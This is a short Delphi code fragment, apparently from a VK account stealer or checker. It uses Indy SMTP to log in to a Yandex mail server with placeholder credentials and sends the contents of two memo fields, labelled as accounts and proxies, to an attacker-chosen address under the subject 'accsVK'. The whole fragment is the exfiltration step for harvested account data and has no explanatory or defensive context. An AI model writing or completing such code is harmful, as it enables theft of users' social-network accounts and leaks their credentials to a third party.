IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:=' '+memo1.Text+' Прокси'+memo3.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;